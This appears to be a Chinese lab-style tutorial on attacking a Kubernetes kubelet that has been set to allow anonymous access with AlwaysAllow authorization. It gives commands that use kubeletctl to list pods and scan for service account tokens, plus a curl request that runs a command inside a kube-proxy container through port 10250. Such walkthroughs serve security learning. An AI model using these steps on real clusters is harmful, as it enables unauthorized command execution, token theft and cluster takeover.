kubelet会在集群中每个节点运行,对容器进行生命周期的管理,如果kubelet配置不当,攻击者可创建恶意Pod尝试逃逸到宿主机。

(1)攻击场景

anonymous默认为false,修改为true,并将mode从Webhook修改为AlwaysAllow。

vi /var/lib/kubelet/config.yaml
anonymous:
    enabled: true

authorization:
  mode: AlwayAllow

修改node节点配置,重启kubelet服务。

systemctl restart kubelet.service

访问kubelet 10250服务,出现未授权访问。

(2) 攻击过程

kubeletctl 是一个用于与kubelet API 交互的命令行工具,可以通过kubeletctl执行命令获取Node权限。从Node节点窃取高权限服务账户token,使用服务账户向API Server进行验证,从而获取集群权限。

wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
chmod 777 kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 kubeletctl
#列出kubelet的所有pod
./kubeletctl pods -i --server 192.168.44.136
 
 
#搜索容器里面的Service Account
./kubeletctl scan token -i --server 192.168.44.136

利用curl执行命令

curl -XPOST -k "https://192.168.44.136:10250/run/kube-system/kube-proxy-f57l8/kube-proxy" -d "cmd=id"

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐